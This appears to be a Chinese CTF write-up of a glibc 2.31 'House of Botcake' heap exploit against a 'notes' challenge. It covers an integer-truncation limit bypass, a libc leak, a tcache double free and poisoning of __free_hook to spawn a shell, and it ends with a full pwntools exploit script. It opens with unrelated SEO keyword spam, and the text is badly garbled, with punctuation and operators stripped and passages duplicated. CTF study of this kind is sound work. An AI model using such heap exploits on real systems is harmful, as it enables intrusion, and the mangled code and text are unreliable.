没有公司网站如何做推广,wordpress来源转载,浙江义乌外发加工网,国内ui设计公司House of batcake
必要条件#xff1a;
存在UAF漏洞#xff08;可读/写已释放的chunk#xff09;可申请和释放特定大小的chunk目标chunk大小需大于0x80#xff08;避免fastbin机制干扰#xff09;比较安全的写入#xff0c;限制最多只能写10个chunk
get_int() 函数返回 u…House of batcake必要条件存在UAF漏洞可读/写已释放的chunk可申请和释放特定大小的chunk目标chunk大小需大于0x80避免fastbin机制干扰比较安全的写入限制最多只能写10个chunkget_int() 函数返回 unsigned __int64 却采用 int 接收通过传入 -1 我们可以绕过 notes 数量的限制。n10get_int();//返回 unsigned __int64 n10_1n10;//unsigned __int64 n10_2n10;//int(关键这里发生截断)菜单最多只能分配0x100的chunk存在UAF现在配置做题环境进入题目 docker 目录里面有 Dockerfile构建镜像tag 随便起这里用nates):sudo docker build-t notes.运行容器把容器 9999 映射到本机 10001按题目改端口sudo docker run-d--name notes-p10001:9999notes启动 pwn-env 容器进行分析/调试/写 expsudo docker run--rm-it \-v$PWD:/work-w/work \--cap-addSYS_PTRACE--security-opt seccompunconfined \--network host \ th3s/pwn-env:ubuntu-20.04bash全保护根据程序写出自动化脚本frompwnimport*pprocess(./notes)libcELF(/lib/x86_64-linux-gnu/libc.so.6)elfELF(./notes)defdebug():gdb.attach(p)pause()p.sendlineafter(bHow many notes you plan to use? (0-10): ,b-1)defadd(size,content):p.sendlineafter(b ,b1)p.sendlineafter(bsize: ,str(size))p.sendlineafter(bcontent: ,content)defdelete(index):p.sendlineafter(b ,b2)p.sendlineafter(bnote id: ,str(index))defshow(index):p.sendlineafter(b ,b3)p.sendlineafter(bnote id: ,str(index))片先add一个看看注意在docker中gdb.attachp不能开启一个窗口要使用tmux来在这个右边窗口输入quit就可以退出去好的继续思路是传入 -1 绕过堆块数量限制House of botcake 完成 Tcache Poisoning劫持 __free_hook 为 system getshell我们先把tcache 0x90填满方便后续leak出unsorted bin 来获得libcbaseforiinrange(10):add(0x80,ba)foriinrange(7):delete(7-i-1)这里看到已经填满了这时候我们再delete()一个释放到unsoredbin这里不能直接delete(6)来利用uaf是因为当 free 掉一个堆块进入 tcache 时假如堆块的 bk 位存放的 key tcache_key 就会遍历这个大小的 Tcache 假如发现同地址的堆块则触发 Double Free 报错。delete(8)#victimfree 掉利用堆块 victim由于此时 Tcache 被填满victim 进入 Unsortedbin绕过了 key 的产生可以看到去了unsoredbin现在show()接收一下这个show(8)leaku64(p.recvuntil(\x7f,dropFalse)[-6:].ljust(8,b\x00))log.info(leak:hex(leak))offset0x1ecbe0libc_baseleak-offset log.info(libc_base:hex(libc_base))binsh_addrlibc_basenext(libc.search(/bin/sh))systemlibc_baselibc.symbols[system]log.info(system:hex(system))log.info(binsh_addr:hex(binsh_addr))下一步进行Double Free into Tcachedelete(7)#prevdelete(7)前unsortbin:0x555555559710(size:0x90)tcache_entry[7](7):0x555555559240--...# 0x90大小的tcache有7个chunkdelete(7)后unsortbin:0x555555559680(size:0x120)tcache_entry[7](7):0x555555559240--...# 0x90大小的tcache仍有7个chunk当执行 dele(7) 时chunk 7 被释放由于 chunk 7 和 chunk 8 在内存中相邻且都空闲glibc 的堆管理器将它们合并成一个更大的空闲 chunk合并后的 chunk 大小为 0x1200x90 0x90tcache 有严格的 double free 检查//glibc2.31的 tcache 检查if(tcache-entries[tc_idx]e)//检查是否与链顶相同 malloc_printerr(free(): double free detected in tcache 2);通过 dele(7)chunk8 原本在 unsorted bin合并后“chunk8” 在 glibc 看来不存在了它只是大chunk的一部分后续 dele(8) 时tcache 认为这是新的释放不是 double free申请出一个堆块此时会优先从 Tcache 中取出一个填充堆块腾出位置。add(0x80,bb)#10 tcache 6然后再 Free 掉 victim victim 进入 Tcache完成 Double Freedelete(8)#double free可以看到这时候已经造成了堆块重叠即一个大的 Unsortedbin 吞着一个小的 Tcachebin。通过切割 Unsortedbin 分配一个比 victim 稍大的堆块 attacker 就可以覆写到 victim 的 next 指针完成 Tcache Poisoning。由于前面 Free 掉了多个填充堆块此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后通过 Free 掉 victim 和 attacker再申请回来 attacker 可以再次覆写到 victim 的 next 指针完成多次 Tcache Poinsoning。free_hooklibc_baselibc.sym[__free_hook]add(0x100,ba*0x80p64(0)p64(0x91)p64(free_hook)p64(0))初始时 tcache count7经过 malloc(0x100)→ count6free(victim)→ count7再次满过程分析第一次 Poisoning 后tcache链:victim → target_address → ??? count7释放 victimfree(victim);victim 被释放到 tcache但由于 tcache 已满count7实际上会发生什么在 glibc 2.31 中如果 tcache 已满chunk 会进入 fastbin/unsorted bin所以需要先降低 tcache countadd(0x100,ba*0x80p64(0)p64(0x91)p64(free_hook)p64(0))#11因为现在tcache被堆叠在了unsortedbin里面所以申请出这个地址然后伪造一个0x90大小的tcache将fd指针指向__free_hook现在去申请add(0x80,b/bin/sh\0)#12这个申请回来的是我们的chunk8 victim下一个申请的chunk就是从__free_hook这里这时候delete(12)就可以触发system(‘/bin/sh\0’)delete(12)实际执行就是//实际执行(*__free_hook)(mem)system(0x555555559730)连接本地靶机取得shellEXPfrompwnimport*context.terminal[tmux,splitw,-h]#p process(./notes)premote(127.0.0.1,10001)#libc ELF(/lib/x86_64-linux-gnu/libc.so.6)libcELF(./libc-2.31.so)elfELF(./notes)defdebug():gdb.attach(p)pause()p.sendlineafter(bHow many notes you plan to use? (0-10): ,b-1)defadd(size,content):p.sendlineafter(b ,b1)p.sendlineafter(bsize: ,str(size))p.sendlineafter(bcontent: ,content)defdelete(index):p.sendlineafter(b ,b2)p.sendlineafter(bnote id: ,str(index))defshow(index):p.sendlineafter(b ,b3)p.sendlineafter(bnote id: ,str(index))foriinrange(10):add(0x80,ba)foriinrange(7):delete(7-i-1)delete(8)#victimshow(8)leaku64(p.recvuntil(\x7f,dropFalse)[-6:].ljust(8,b\x00))log.info(leak:hex(leak))offset0x1ecbe0libc_baseleak-offset log.info(libc_base:hex(libc_base))binsh_addrlibc_basenext(libc.search(/bin/sh))systemlibc_baselibc.symbols[system]log.info(system:hex(system))log.info(binsh_addr:hex(binsh_addr))delete(7)#prevadd(0x80,bb)#10 tcache 6delete(8)#double freefree_hooklibc_baselibc.sym[__free_hook]add(0x100,ba*0x80p64(0)p64(0x91)p64(free_hook)p64(0))#11add(0x80,b/bin/sh\0)#12add(0x80,p64(system))#13delete(12)#debug()p.interactive()